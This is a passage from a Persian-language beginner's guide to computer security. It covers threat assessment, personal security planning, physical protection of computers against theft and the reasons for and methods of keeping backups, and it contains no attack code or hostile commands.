- *اولویت پایین* – تا چندی قبل حتی کسانی که نسبت به نکات امنیتی آگاهی داشتند نسبت به آن اقدام چندانی نمی‌کردند و درنتیجه مسائل امنیتی مورد توجه لازم واقع نمی‌شد.

3 *Identity Theft*

- *محدودیت زمان و هزینه* – بعضی افراد تصور می‌کنند اقدامات امنیتی جهت طراحی، کد نویسی و آزمایش در طول فرآیند تولید نرم‌افزار هزینهٔ گزافی در بر داشته و زمان زیادی را به خود اختصاص می‌دهد.
- *بی‌نظمی برنامه‌نویسان* – در کارهای مربوط به برنامه‌نویسی اشتباهات مشابه چندین بار تکرار می‌شوند و باعث ایجاد نقایص امنیتی می‌گردند.
- *خلاقیت تبهکاران* – انسان موجود خلاقی است و افراد باانگیزه همیشه برای غلبه بر موانع امنیتی و کشف اشتباهاتی که منجر به نقایص امنیتی شوند راهی پیدا خواهند کرد.
- *سطح پایین آگاهی کاربران* – کاربران معمولی (قربانیان تخلفات امنیتی) بطور طبیعی از تهدیدهای اطراف خود آگاهی ندارند و به همین دلیل در پی راههای مناسب جهت تضمین امنیت داده‌ها و سیستمهای خود نیستند.
- *نگاه غیرواقعی قربانیان* – برخی کاربران نسبت به نکات امنیتی آگاهی دارند ولی آنها را جدی نمی‌گیرند؛ چون گمان می‌کنند که حمله‌ای علیه آنها صورت نخواهد گرفت.

ارزیابی تهدیدات و هزینه‌های آنها

جهت درک اهمیت نکات امنیتی لازم است به چند سؤال پاسخ داده شود. ابتدا فرض کنید مسائل زیر اتفاق افتاده باشند و سپس سعی کنید نتایج احتمالی هریک را ارزیابی نمایید و در هر مورد به چند سؤال کلیدی که در ابتدای صفحه بعدی آمده پاسخ دهید.

چه اتفاقی خواهد افتاد اگر...

...شخصی به خانه و یا محل کار شما حمله کند و رایانهٔ شما را بدزدد و علاوه بر آن دیسک نسخهٔ پشتیبان شما که ممکن است در آن نزدیکی باشد را نیز با خود ببرد.

...همهٔ داده‌های رایانهٔ شما پاک شوند.

...یک نسخه از تمام داده‌های شما به سرقت رود. این داده‌ها ممکن است شامل مواردی باشند از قبیل: اطلاعات حساب بانکی، فهرست نامهای کاربری و رمزهای عبورِ پایگاههای وب انجام *خریدهای برخط*[4]، گزارشهای کاری مهم و تکالیف درسی که ارزش آنها معادل ۵۰٪ نمرات درسهای ترم جاری شما است.

...شخصی لحظه به لحظه هر آنچه را که شما با رایانه انجام می‌دهید مشاهده کند و به خاطر بسپارد. زمانیکه شمارهٔ کارت اعتباری خود را وارد می‌کنید از آن آگاه شود، از گشت و گذار شما در پایگاههای وب مختلف مطلع باشد، و زمانیکه با پایگاه وب یا سیستمها ارتباط برقرار می‌کنید بتواند نام کاربری و رمز عبور را به سرقت ببرد.

...هنگامیکه روی یک پروژهٔ مهم کار می‌کنید و زمان در آن نقش بسیار مهمی دارد، رایانهٔ شما دچار مشکل گردد.

...یک ویروس رایانه‌ای مخرب به همه دوستانتان که نام آنها در دفترچهٔ آدرسهای رایانهٔ شما ثبت شده ارسال شود.

...وقتی صورتحساب تلفن را دریافت کردید ملاحظه کنید که مبلغ آن حتی از حقوق ماهیانهٔ شما هم بیشتر است و این در شرایطی است که مطمئن هستید به این میزان از تلفن استفاده نکرده‌اید.

...یک صورتحساب کارت اعتباری برای شما ارسال شود و مشاهده کنید که این صورتحساب شما نیست؛ ولی بانک سعی دارد شما را متقاعد کند که به این میزان از کارت خود استفاده نموده‌اید و برای این مدعا دلیل هم دارد.

سؤالات کلیدی که در هر مورد باید به آنها پاسخ داده شود به شرح زیر هستند:

- درصورت وقوع، آیا امکان ترمیم وجود دارد؟
- این رخداد چقدر زمان به خود اختصاص می‌دهد؟
- چه مقدار هزینه صرف آن می‌شود؟
- چگونه می‌تواند سازمان شما را تحت تأثیر قرار دهد؟
- چه هزینه‌های جانبی در بر دارد؟ (مثلاً در شرایط نامناسب و در غیاب مسئول مربوطه)

تمامی این موارد اهمیت موضوع "امنیت رایانه" را مشخص می‌کنند. اکنون که متوجه شده‌اید امنیت موضوعی بسیار مهم است، گام بعدی بررسی یک طرح مناسب امنیتی برای ایمن شدن می‌باشد:

4 *Online Shopping*

- ایمن شدن برای شما چه هزینه‌ای خواهد داشت؟
- چه زمانی را به خود اختصاص می‌دهد؟
- تا چه حد مشکل‌آفرین خواهد بود؟
- آیا کارهایی وجود دارند که با اجرای طرح امنیتی، انجام آنها مشکل و یا غیر ممکن شود؟
- آیا می‌توانید به تنهایی طرح را اجرا کنید یا برای اجرای آن به کمک دیگران نیاز دارید؟

سؤالات مطرح شده سؤالات بسیار مهمی هستند؛ چراکه شما برای اجرای یک طرح امنیتی نیاز به تخمین مناسبی از هزینه و زمان لازم و نیز مشکلات جانبی آن دارید. بدون وجود چنین اطلاعاتی ممکن است در طول فرآیند دچار ناامیدی شوید؛ یا پروژهٔ مربوطه را لغو نموده و سپس خود را بدون پشتیبان بیابید. در ادامه در مورد هریک از موارد توضیح بیشتری داده شده است.

ایمن شدن برای شما چه هزینه‌ای خواهد داشت؟

چند راهکار مناسب امنیتی وجود دارند که به تجهیزات چندانی نیاز ندارند و تجهیزات لازم نیز آنچنان گرانقیمت نیستند. حتی *ویروس‌یابها*[5] که رایجترین کالای امنیتی هستند در قالب *نرم‌افزارهای رایگان*[6] در دسترس می‌باشد. شایان ذکر است که فهرست سازمانهای ارائه‌کنندهٔ نرم‌افزارهای رایگان در بخش ضمائم موجود می‌باشد.

چه زمانی را به خود اختصاص می‌دهد؟

مسلماً اجرای طرح امنیتی و دنبال کردن آن زمانی را به خود اختصاص می‌دهد، اما میزان این زمان زیاد نیست. در این خصوص لازم است که نرم‌افزارهای مناسب را نصب کنید و سپس وظایف حفاظتی معمول را طبق یک روال مشخص به انجام رسانید.

تا چه حد برای شما مشکل آفرین خواهد بود؟

میزان مشکلات به دیدگاه شما بستگی دارد. باید در مورد آنچه انجام می‌دهید آگاهی داشته باشید و هرگز نباید فکر کنید که هر چیزی در نوع خود واجد امنیت است. برای مثال اگر شخصی در نامهٔ الکترونیکی خود برای شما ضمیمه‌ای فرستاده باشد، باید در مورد بازکردن و یا باز نکردن آن تصمیم‌گیری کنید. این میزان احتیاط در زندگی روزمره نیز ضروری است. بعنوان مثال بسیار خوشایند خواهد بود اگر بتوانید هر زمان که بخواهید از خیابان عبور کنید؛ اما لازم است برای عبور از خیابان مراقب آمد و رفت ماشینها باشید.

آیا کارهایی وجود دارند که با اجرای طرح امنیتی، انجام آنها مشکل و یا غیر ممکن شود؟

بله؛ شما برای ایمن شدن باید عملکرد خود را تا حدودی تغییر دهید. انتخاب طرحی برای امنیت بیشتر، شما را به آگاهی بیشتر در برابر مشکلات بالقوه – که باید تا حد امکان از بروز آنها جلوگیری کنید – می‌رساند. بسته‌های نرم‌افزاری جدید قابلیتهای جذاب بسیاری دارند، اما استفاده از آنها – خصوصاً آندسته که برای گسترش شبکه و ارسال و دریافت پیام بکار می‌روند – باعث آسیب‌پذیری بیشتر در برابر حملات می‌گردند. بعنوان مثال ممکن است پایگاه وبی وجود داشته باشد که ارائه‌کنندهٔ خدمات مورد نظر شما باشد ولی برای دسترسی به آن لازم باشد که یک نرم‌افزار خاص آنرا download و بر روی رایانه خود اجرا کنید. اگر نسبت به اشخاصی که این خدمات را ارائه می‌دهند اعتماد کافی ندارید بهتر است از قابلیتهایی که آن برنامه می‌تواند برای شما به ارمغان بیاورد صرفنظر نمایید.

آیا می‌توانید به تنهایی طرح را اجرا کنید یا برای اجرای آن به کمک دیگران نیاز دارید؟

فرض بر این است که شما مسئول تمام ابعاد امنیتی سیستم خود هستید، اما در عمل شاید بهتر باشد که برای بهتر انجام شدن کار از دیگران نیز کمک بگیرید.

- به‌روزرسانی نرم‌افزارها و *وصله‌های*[7] ارائه‌شده که بخش مهمی از فرآیند ایجاد امنیت است به *پهنای باند*[8] شما بستگی دارد. مسلماً این مسئله برای کسی که به اینترنت متصل شده و سرعت ارتباط وی در حد مگابایت است مشکلساز نیست؛ ولی پهنای باند در کشورهای درحال توسعه به شدت محدود و بسیاری اوقات پرهزینه و گرانقیمت است و اتصال به اینترنت

5 *Virus Scanners*
6 *Freeware*
7 *Patches*
8 *Bandwidth*

از طریق تلفن برای بازه‌های طولانی‌مدت هم مقرون به صرفه نیست. به همین دلیل در چنین شرایطی بهتر است یکنفر نرم‌افزارهای معمول را به‌روز رسانی کرده و نسخه‌های download شدهٔ آنها را در اختیار دیگران قرار دهد. متأسفانه انجام اینکار معمولاً مشکلتر از download کردن مستقیم توسط هر کاربر است؛

- هشدارهای امنیتی به افراد حرفه‌ای در کار با رایانه کمک می‌کند. کاربران مبتدی معمولاً نسبت به چنین هشدارهایی حساسیت زیادی ندارند و اگر یک کاربر هشداری دریافت کند معمولاً قادر به فهم کامل آن و متعاقباً بروز واکنش مناسب نخواهد بود.[۹] بعضی اوقات ممکن است شما یک هرزنامه مشکل‌آفرین دریافت کنید که ادعا دارد یک به‌روزرسانی از مایکروسافت می‌باشد که شامل ضمیمهٔ "Update" است ولی باید دقت داشته باشید که معمولاً ضمیمه‌های این نامه‌ها چیزی جز ویروسهای خطرناک نیستند؛ و
- در محیطهایی که تعداد زیادی رایانه یافت می‌شوند (مراکز کاری، مدارس، اداره‌های دولتی) لازم است که شخصی بعنوان *راهبر سیستم*[۱۰] جهت اعمال برخی از تدابیر امنیتی بکار گرفته شود.

اگر بخواهید کارهای مربوط به امنیت سیستمها را به دیگران نیز واگذار کنید باید از یک طرح تعامل مناسب استفاده نمایید. اطلاعات بیشتر در زمینهٔ ادارهٔ سیستمها در بخشهای دیگر کتاب ارائه خواهد شد. دقت داشته باشید که مشخص کردن مسئولیتها در فرآیندهای امنیتی تحت گروههای یک یا چند نفره بخش مهمی از هر طرح امنیتی است.

تصمیم‌گیری در مورد طرح امنیت فردی

برنامه‌های بسیاری وجود دارند که به نیازهای امنیتی رایانه‌ها می‌پردازند. اکنون که شما مفهوم خطرات را درک کرده و در رابطه با انواع خطراتی که باید کاهش یافته و یا از بین بروند تصمیم‌گیری کرده‌اید، قادر هستید یک طرح امنیت فردی را به اجرا در آورید. پس از ارزیابی قیمتها، زمان لازم و دردسرهای انجام کار ممکن است به این نتیجه برسید که مقابله با بعضی از خطرات حداقل در زمان حاضر ضروری نیست. طرح امنیتی شما به برنامه‌های نرم‌افزاری خاصی تکیه می‌کند اما کماکان باید فرآیندها، قوانین، و ملاحظات شخصی را در بر بگیرد.

یک طرح امنیتی مناسب از لایه‌های چندگانه تشکیل شده و هر لایه انواع خاصی از خطرات را از بین می‌برد. چنانچه از لایه‌های مختلف استفاده کنید مسلماً در پیشگیری از مشکلات بیشتری موفق خواهید بود. عمل رانندگی را درنظر بیاورید. بنظر شما چه تدابیری می‌توان اندیشید که احتمال وقوع تصادف کاهش یابد؟

بعضی از ملاحظات مناسب در زیر آمده‌اند:

- چنانچه ماشین نیاز به تعمیر داشته باشد باید به درستی تعمیر شود.
- رانندگی باید با دقت انجام گیرد.
- چنانچه کارخانه نسبت به وجود عیبی در ماشین هشدار دهد که با سلامت افراد مرتبط باشد، آن عیب باید سریعاً رفع گردد.
- هنگام رانندگی باید احتیاط کرد، چراکه ممکن است ماشینهای دیگر برایتان مشکل بیافرینند.
- اگر در روزنامه هشدار داده شده که پلی شکسته است، باید از رانندگی بر روی آن پرهیز شود.

هیچکدام از عوامل بالا به تنهایی قادر به تضمین سلامت شما نخواهند بود، ولی با درنظر گرفتن همهٔ آنها می‌توان احتمال بروز تصادف را تا حد قابل توجهی کاهش داد. در تدوین اجزای یک طرح امنیتی، افراد باید لایه‌هایی از حفاظت را بکار گیرند که ممکن است حتی تا حدودی تکراری باشند. برای درک بهتر تصور کنید که می‌خواهید از یک تکه جواهر قیمتی محافظت کنید. مسلماً آنرا در یک جعبهٔ سربسته و سپس در یک اتاق قفل‌شده قرار می‌دهید؛ و جهت کسب اطمینان بیشتر، آنرا در برابر سرقت نیز بیمه خواهید نمود. در این مثال عمل محافظت در چندین مرحله انجام گرفته است. هرکدام از این مراحل به تنهایی ضریب حفاظت از جواهر را کمی بالا می‌برند، ولی مسلماً بکارگیری تمام مراحل عاقلانه‌تر است، چراکه اگر در یک مرحله با

---

۹ *هرچند با گسترش آگاهی امنیتی جامعه، این وضع دچار تغییر می‌شود.*

شکست مواجه شوید مراحل دیگر در رسیدن شما به موفقیت کمک خواهد کرد (مثلاً اگر شخصی غیرقابل اعتماد در خانه باشد، مسلماً قفل کردن در، راه مناسبی نیست).

نکتهٔ قابل توجه این است که بعضی مواقع احتمال دارد فنون امنیتی نیز با شکست مواجه شوند. این امر ممکن است ناشی از مشکلات طراحی، پیاده‌سازی ضعیف و یا خطاهای انسانی باشد. این مسئله می‌تواند در مورد مشکلات ابزارهایی مثل ویروس‌یابها، *رمزگذاری*[11] و رمزهای عبور صدق کند. بنابراین چون امکان شکست برای هرکدام از ابزارها در هر زمانی وجود دارد نباید تنها بر یک شیوه تکیه نمود.

نقش کاربر در امنیت

اولین کاربر که از رایانه استفاده می‌کند نقش مهمی در تضمین ایمنی رایانه و نرم‌افزارهای آن دارد. درمجموع کاربران دیگر نیز در تضمین دقت در عملیات حفاظت و ایمنی نقش بسزایی دارند. دقت داشته باشید کاربرانی که نسبت به امنیت رایانه اطلاعات کافی ندارند خود از بزرگترین خطرات امنیت رایانه‌ای بشمار می‌روند.

امنیت یک هنر است، نه یک علم

در ایمن‌سازی رایانه‌ها و شبکه‌ها هیچ تضمین صد درصدی وجود ندارد، چراکه همیشه نقایص تازه و راههای جدید نفوذ و فرصتهای نو برای ایجاد مشکل – که خود ناشی از خطاهای انسانی است – وجود خواهد داشت. اما اگر مطالعهٔ دقیقی انجام بگیرد و از *تجارب موفق امنیتی*[12] استفاده شود می‌توان در عملکرد سیستم امنیت لازم را بوجود آورد. پایگاههای وب و گروههای پستی سازمانهای حفاظت از رایانه نیز می‌توانند کمکهای شایانی در این زمینه باشند، چراکه می‌توان در شرایط غیر معمول و بروز وضعیت غیرعادی از راهنماییهای آنها بهره گرفت.

11 *Encryption*
12 *Security Best Practices*

فصل سوم
امنیت رایانه و داده‌ها

کلیات

در این فصل به بررسی راههایی می‌پردازیم که از طریق آنها می‌توان رایانه را از لحاظ فیزیکی ایمن کرد و از سرقت داده‌ها و برنامه‌های رایانه‌ای جلوگیری نمود. مباحث عمدهٔ این فصل عبارتند از: امنیت فیزیکی، نسخه‌های پشتیبان، و تصدیق هویت با استفاده از نام کاربری و رمز عبور.

مقدمه

یکی از بهترین شیوه‌های درک مفهوم امنیت اطلاعات استفاده از یک *راهکار ضابطه‌مند*[۱۳] است. با شروع از معرفی امنیت فیزیکی در این فصل، در سایر فصول بخش دوم به بررسی جوانب دیگر امنیت خواهیم پرداخت و اساس استقرار فرآیندهای امنیتی برای رایانه‌های شخصی و گروه‌های کوچک رایانه‌ای را توضیح خواهیم داد. اطلاعات مربوط به جنبه‌های فنی امنیت برای سازمانهای بزرگتر و کاربران حرفه‌ای در بخش پنجم ارائه شده است. هنگامیکه با اطلاعات ارائه‌شده در این فصل با کلیات موضوع آشنا شدید، می‌توانید با استفاده از مطالب ارائه شده در بخش پنجم (امنیت فناوری اطلاعات و راهبران فنی) بر دانش فنی خود بیافزایید.

امنیت فیزیکی

اولین مرحله این است که اطمینان حاصل کنید رایانهٔ شما از لحاظ فیزیکی ایمن است. این مرحله ممکن است بسته به اینکه رایانه خود را در کجا قرار داده‌اید یا اینکه رایانه و داده‌ها از چه حساسیتی برخوردار هستند یک قسمت جزئی یا یک قسمت بسیار مهم محسوب شود.

سرقت رایانه

سرقت رایانه‌ها مشکلی رو به رشد است. رایانه‌ها و خصوصاً رایانه‌های کیفی به سادگی دزدیده می‌شوند و بسیار سخت پیدا می‌شوند. چنانچه سارق مایل به استفادهٔ شخصی از رایانه نباشد مراکز بسیار زیادی وجود دارند که رایانه‌های دزدی و دست‌دوم را خریداری می‌کنند. برخی از سارقان، رایانه و نمایشگر آنرا بطور کامل به سرقت نمی‌برند بلکه قسمتهای مهم آن مانند حافظه و پردازشگر را می‌دزدند. باید گفت که هر دو مورد بازار خوبی دارند و حمل و نقلشان نیز آسان است، اما پیدا کردنشان اگر چه غیرممکن نیست ولی بسیار دشوار می‌باشد.

قانون اول:
قبل از وقوع سرقت، به آن رایانه فکر کنید.

به سرقت رفتن رایانه بسیار آزار دهنده است و چنانچه بیمه نباشید هزینهٔ گزافی را بر شما تحمیل خواهد کرد. در بعضی مواقع سرقت اطلاعات باعث افشای امور شغلی و یا اسرار محرمانهٔ اشخاص می‌گردد و در شرایط بدتر، سرقت رایانه باعث از دست دادن شغل می‌شود. با اینحال چنانچه در این خصوص چند روش ساده و ارزان‌قیمت بکار گرفته شود می‌توان از سرقت رایانه‌های رومیزی و کیفی جلوگیری کرد یا حداقل احتمال آنرا به میزان قابل توجهی کاهش داد.

دو راهکار برای پیشگیری از دزدی رایانه وجود دارد: کاری کنید که سرقت رایانه دشوار شود؛ و یا کاری کنید که میل به دزدیدن رایانه کاهش یابد.

کاری کنید که سرقت رایانه دشوار شود

چند راه برای دشوار کردن سرقت رایانه وجود دارد:

- اطمینان حاصل کنید که محل نگهداری رایانه امن است. برای نگهداری از رایانه باید از آن در یک اتاق قفلدار نگهداری نمایید و یا اگر در محل کار خود با همکاران دیگری کار می‌کنید رایانه را در معرض دید آنان قرار دهید. رایانه خود را در محافل عمومی مانند فرودگاه‌ها بدون مراقبت رها نکنید.
- اگر تصور می‌کنید که در زمان عدم حضور شما در محل کارتان ممکن است شخصی شبانه وارد اتاق

13 *Rule-Based Approach*

شده و رایانه را به سرقت ببرد از سیستم آژیر خطر استفاده کنید.

- جهت ایجاد ایمنی، رایانهٔ خود را بوسیلهٔ کابل سیمی و یا زنجیر به میله، لوله یا اشیایی که قابلیت جابجایی ندارند متصل کنید. از این روش در محافل نسبتاً عمومی مثل مدارس و یا کتابخانه‌ها استفاده می‌شود. اکثر رایانه‌ها دارای محلی مخصوص اتصال می‌باشند. رایانه‌های کیفی نیز برای اینکار معمولاً دارای کابلها و قفلهای بخصوصی هستند.
- چنانچه رایانه دارای قفلی می‌باشد که از باز شدن *بدنه*[14] جلوگیری می‌کند از آن استفاده نمایید. می‌توان از پیچهای مخصوص که براحتی قابل باز کردن نیستند نیز برای این منظور استفاده کرد.
- چنانچه اطلاعات ارزشمندی (مثل داده‌های کاری یا اطلاعات شخصی) در رایانهٔ شما وجود دارد، لازم است زمانی که آنرا بدون مراقبت قرار داده و یا از آن دور هستید (مثلاً اگر از هتل خارج می‌شوید و رایانه در اتاق است) امکان *دسترسی منطقی*[15] به آنرا تا حد ممکن کاهش دهید. دسترسی منطقی به معنای استفادهٔ واقعی از رایانه در زمانی است که امکان دسترسی فیزیکی به آن وجود دارد. استفاده از رمزهای عبور مستحکم و محافظهای صفحه‌نمایش مجهز به رمزهای عبور گزینه‌های مناسبی برای شروع این نوع از حفاظت هستند (برای اطلاعات بیشتر به بحث مربوط به مجوز ورود در همین فصل رجوع کنید).
- رایانه‌های کیفی و *PDAها*[16] کوچک می‌باشند و به همین دلیل دزدیدن آنها آسان است. چنانچه از آنها استفادهٔ زیادی نمی‌کنید حتماً آنها را از محیط کار خارج نمایید.

کاری کنید که میل به دزدیدن رایانه کاهش یابد

افرادی که مایل به خرید رایانه‌های دست دوم باشند بسیار اندک هستند، خصوصاً اگر مشخص باشد که رایانه دزدی است. بهترین و ارزانترین روش برای اینکه سارقان تمایلی به دزدیدن رایانه نداشته باشند این است که مشخصات خود را با علائم ثابت و ماندگار که نمی‌توان آنها را از بین برد بر بدنهٔ رایانه حک و یا نقاشی کنید. این اطلاعات می‌تواند شامل اسم یا مشخصات دیگر باشد. دقت داشته باشید که از این نوع علامتها در قسمت شکاف تهویه یا شکافهای دیگر استفاده ننمایید. همچنین آگاه باشید که گاهی اوقات علامتگذاری روی بدنه می‌تواند باعث ابطال ضمانتنامه گردد.

رایانه‌ها آسیب‌پذیرند

رایانه‌ها نسبت به گرد و خاک و سطوح ناهموار حساس هستند. چنانچه کارکردن با رایانه در محلی صورت بگیرد که گرد و خاک در آنجا وجود دارد مرتباً باید با دقت زیاد آنرا تمیز کرد تا شکاف تهویه مسدود نشود. برخی رایانه‌ها همچنین نسبت به فرورفتگیها و برآمدگیهای سطحی که روی آن قرار دارند نیز حساس می‌باشند.

جنبه‌های دیگر امنیت فیزیکی

چنانچه شما برای نصب یک قطعه سخت‌افزاری بدنهٔ رایانه خود را باز کرده‌اید باید به اخطارهایی که دربارهٔ شوکهای الکترواستاتیک داده شده توجه کنید (شوک الکترواستاتیک باعث صدمه‌دیدن سخت‌افزار می‌شود و باید از وقوع آن جلوگیری کرد). ضمناً توجه کنید که برای جلوگیری از برق‌گرفتگی لازم است بدن شما با زمین در تماس دائم باشد.

برای محافظت از داده‌های خود نسخه‌های پشتیبان[17] تهیه نمایید

در قسمت قبل مطالبی در مورد ایجاد امنیت فیزیکی آمد. در این قسمت مواردی شرح داده خواهند شد که بوسیلهٔ آنها می‌توان اطمینان حاصل کرد که داده‌ها و برنامه‌ها از حفاظت کامل برخوردارند. شما چگونه از داده‌ها و برنامه‌های رایانهٔ خود حفاظت می‌کنید؟

به چند دلیل ممکن است داده‌ها از بین بروند که برخی از آنها در زیر آمده است:

- پاک شدن اتفاقی فایل؛
- دزدیده شدن رایانه؛

14 *Case*
15 *Logical Access*
16 *Personal Digital Assistants*

17 *Backups*

- ذخیرهٔ ناخواسته یک فایل بر روی فایل دیگر؛
- روند نادرست به اجرا در آمدن یک برنامه بگونه‌ای که باعث تغییر یا پاک شدن داده‌ها شود؛
- وجود یک برنامهٔ مخرب (مثل ویروس) که باعث تغییر، بازنویسی و یا حذف داده‌ها شود؛
- بروز مشکل در سخت‌افزار (مثل مشکلات *دیسک سخت*[18]، دیسک‌گردان، پردازشگر و یا منبع تغذیه) بگونه‌ای که باعث از بین رفتن داده‌ها گردد؛
- آتش‌سوزی و استفاده از آب برای خاموش کردن رایانهٔ سوخته، که باعث غیرقابل بازیابی شدن داده‌ها می‌شود؛
- و ...

یکی از راه‌حلها برای مقابله با این تهدیدات، تهیهٔ نسخه‌های پشتیبان می‌باشد. نسخه پشتیبان به خودی خود یک کپی از فایل یا مجموعه‌ای از فایلها است که با انتقال به یک دیسک فلاپی و یا دیسک فشرده از آن نگهداری می‌شود. چنانچه فایل اصلی به هر دلیلی از بین برود یا پاک شود می‌توان از نسخه پشتیبان استفاده کرد و آنرا جایگزین فایل قبلی نمود.

قانون دوم:

مرتباً پشتیبان تهیه کنید و اگر رایانه در معرض تهدید قرار دارد نکات حفاظتی را بکار گیرید.

نسخه‌های پشتیبان می‌توانند بسیار ساده و یا بسیار پیچیده باشند (از ساده‌ترین انواع پشتیبان می‌توان به یک دیسک فلاپی که از آن در کشوی میز کار خود نگهداری می‌کنید اشاره کرد). اکثر بسته‌های نرم‌افزاری پشتیبان‌گیر به شما اجازه می‌دهند فایلی را که در رایانه خود دارید به روی نوارهای مغناطیسی و یا مجموعه‌ای از دیسکهای فشرده[19] کپی کنید. چنانچه رایانهٔ شما دزدیده شود، با خرید یک رایانهٔ جدید با ساختاری مشابه رایانهٔ قدیمی و با استفاده از نسخه‌های پشتیبان قادر خواهید بود فایلهای از دست رفته را مجدداً بکار گیرید.

نقایص، تصادفات، بلایای طبیعی و حملات مهاجمین قابل پیش‌بینی نیستند. معمولاً علیرغم تلاشهای زیاد برای برقراری امنیت نمی‌توان از بروز بعضی از مشکلات جلوگیری نمود، ولی اگر پشتیبان مناسب تهیه کرده باشید حداقل داده‌های خود را از دست نمی‌دهید و در اکثر مواقع می‌توانید سیستم خود را بازیابی کرده و به یک حالت متعادل و ماندگار برسانید. حتی درصورتیکه داده‌های رایانه تماماً از دست رفته باشد، چنانچه یک مجموعهٔ کامل از نسخه‌های پشتیبان در اختیار داشته باشید قادر خواهید بود همهٔ اطلاعات را روی رایانهٔ جدید بازیابی کنید و مجدداً به آنها دسترسی داشته باشید. البته این مسئله صرفاً زمانی کارآمد است که نسخه‌های پشتیبان در جایی غیر از رایانهٔ قربانی ذخیره شده باشند.

دلایل گوناگونی وجود دارند که باعث می‌شوند نسخه‌های پشتیبان اجزای کلیدی و مهمی در امنیت رایانه‌ها محسوب شوند:

خطای کاربر

بعضی از افراد برخی مواقع بطور ناخواسته فایلهای خود را پاک می‌کنند. در استفاده از واسطهای گرافیکی کاربر این امکان وجود دارد که یک فایل یا شاخه بطور ناخواسته به مکانی نادرست منتقل شود. اما چنانچه مرتباً از فایلها پشتیبان تهیه شده باشد امکان بازیابی فایلهایی که بطور اتفاقی پاک شده‌اند وجود خواهد داشت. انجام اینکار در مقابله با اشتباهات کوچک نیز می‌تواند راهکار پیشگیرانه خوبی باشد.

نقص در سخت‌افزار

سخت‌افزار مورد استفاده در هر زمانی ممکن است دچار خرابی شود و باعث از بین رفتن داده‌ها در طول یک فرآیند گردد. صدمه‌هایی که به دیسک وارد می‌شود نیز می‌تواند منجر به تخریب کامل دیسک شود. ولی چنانچه از فایلها پشتیبان تهیه شده باشد می‌توان داده‌ها را مجدداً روی دیسک‌گردان و یا سیستم جدید بازیابی نمود.

نقص در نرم‌افزار

اکثر برنامه‌های کاربردی مثل Microsoft Word و Excel و Access می‌توانند باعث از بین رفتن ناخواستهٔ فایلهای داده شوند. اگر نسخهٔ پشتیبان داشته باشید و برنامهٔ کاربردی شما ناگهان نیمی از اطلاعات حیاتی فایلِ کاری شما را پاک کند، باز هم قادر خواهید بود داده‌های خود را بازیابی نمایید.

18 *Hard Disk*
19 *CD-ROMs*

نفوذها و تخریبهای الکترونیکی

مهاجمین و ویروسهای مخرب مرتباً باعث تغییر و یا پاک‌شدن داده‌ها می‌شوند. وجود نسخه‌های پشتیبان در این زمینه نیز به کاربران کمک شایانی می‌کند.

اطلاعات بایگانی

نسخه‌های پشتیبان بعنوان اطلاعات بایگانی‌شده تلقی می‌شوند که امکان مقایسهٔ نرم‌افزارها و داده‌های رایج با نرم‌افزارها و داده‌های قدیمی را بوجود می‌آورند. این قابلیت باعث می‌شود بتوانید مشخص کنید که چه چیزهایی عمداً یا سهواً دچار تغییر شده‌اند. برای این منظور اگر نخواهید به عقب برگشته و تاریخچهٔ یک پروژه را بازسازی کنید نسخه‌های پشتیبان منابع ارزشمندی بشمار می‌آیند.

سرقت

سرقت رایانه‌ها و فروش آنها کار بسیار آسانی است. با توجه به این مسئله، تهیهٔ نسخه‌های پشتیبان و ذخیرهٔ آنها در محلی خارج از رایانه و در مکانی امن کمک شایانی خواهد بود، چراکه موارد بسیاری وجود داشته که پشتیبانها نیز به همراه رایانه به سرقت برده شده‌اند.

بلایای طبیعی

وقوع اتفاقاتی نظیر سیل، زلزله و آتش‌سوزی اهمیت حفاظت از رایانه را بیشتر روشن می‌کنند. در این زمینه نگهداری پشتیبانها در محلهای دیگر بسیار مفید خواهد بود.

بلایای دیگر

بعضی مواقع نشت لوله‌های گاز و متعاقباً آتش‌سوزی ناشی از آن یا ریخته‌شدن مواد مایع روی دستگاه تهویه باعث بروز مشکل می‌گردد. در این موارد نیز وجود نسخه‌های پشتیبان بسیار حیاتی است.

با توجه به نقش مؤثری که پشتیبانها می‌توانند داشته باشند وجود اَشکال گوناگون آنها چندان عجیب نیست. نکتهٔ قابل توجه این است که پشتیبان بکاررفته در هرکدام از شرایط فوق ممکن است برای شرایط دیگر کاربردی نداشته باشد. به خاطر داشته باشید که استفاده از حفاظت چندلایه و بکارگیری سیستمهای گوناگون تهیهٔ پشتیبان جهت ایجاد ایمنی در برابر خطراتی که در اداره و یا منزل با آن مواجه هستید، مؤثرترین راه است.

ذیلاً چند مورد از شیوه‌های تهیهٔ پشتیبان آمده است:

- فایلهای حساس خود را روی دیسک فلاپی، دیسکهای نوری، و یا دیسکهای مغناطیسی با ظرفیت بالا که قابلیت پاک‌کردن نیز در آنها وجود دارد کپی کنید.
- محتویات دیسک را روی یک *دیسک انعکاسی*[20] یا اگر فضای کافی موجود است روی یک شاخه در همان دیسک مادر کپی کنید. البته اینکار در خراییهای اساسی کمک چندانی نمی‌کند و صرفاً اگر تعدادی از فایلها بطور ناخواسته پاک شوند بکار می‌آید.
- هر از چندگاه آرشیو فشرده‌سازی‌شده‌ای از فایلهای مهم خود ایجاد کنید. البته می‌توان پشتیبانهای مربوطه را روی همان سیستم اولیه و یا روی رایانه‌های دیگر و در مکانهای فیزیکی متفاوت کپی نمود.
- از فایلهای خود پشتیبان تهیه کرده و از طریق شبکه یا اینترنت آنرا به رایانهٔ دیگری منتقل کنید.
- اگر درنظر دارید که در مقابل خرابی دیسکهای سخت از ایمنی زیادی برخوردار باشید در رایانهٔ خود از دو دیسک سخت و از نرم‌افزار یا سخت‌افزاری که از هر فایل یک پشتیبان تهیه می‌کند استفاده نمایید. البته لازم به ذکر است که با رعایت تمامی این موارد بازهم تهیهٔ مداوم پشتیبان جهت حفاظت در برابر مشکلات دیگر ضروری می‌باشد.

از چه چیزهایی باید پشتیبان تهیه کرد؟

دو دیدگاه در این زمینه وجود دارد:

۱. از تمام فایلهایی که اختصاصی رایانهٔ شما است – البته غیر از برنامه‌های کاربردی – پشتیبان تهیه کنید. این امر در قدم اول شامل فایلهای داده‌ای می‌شود ولی دقت داشته باشید که باید از تمام فایلهایی که

20 *Mirror Disks*

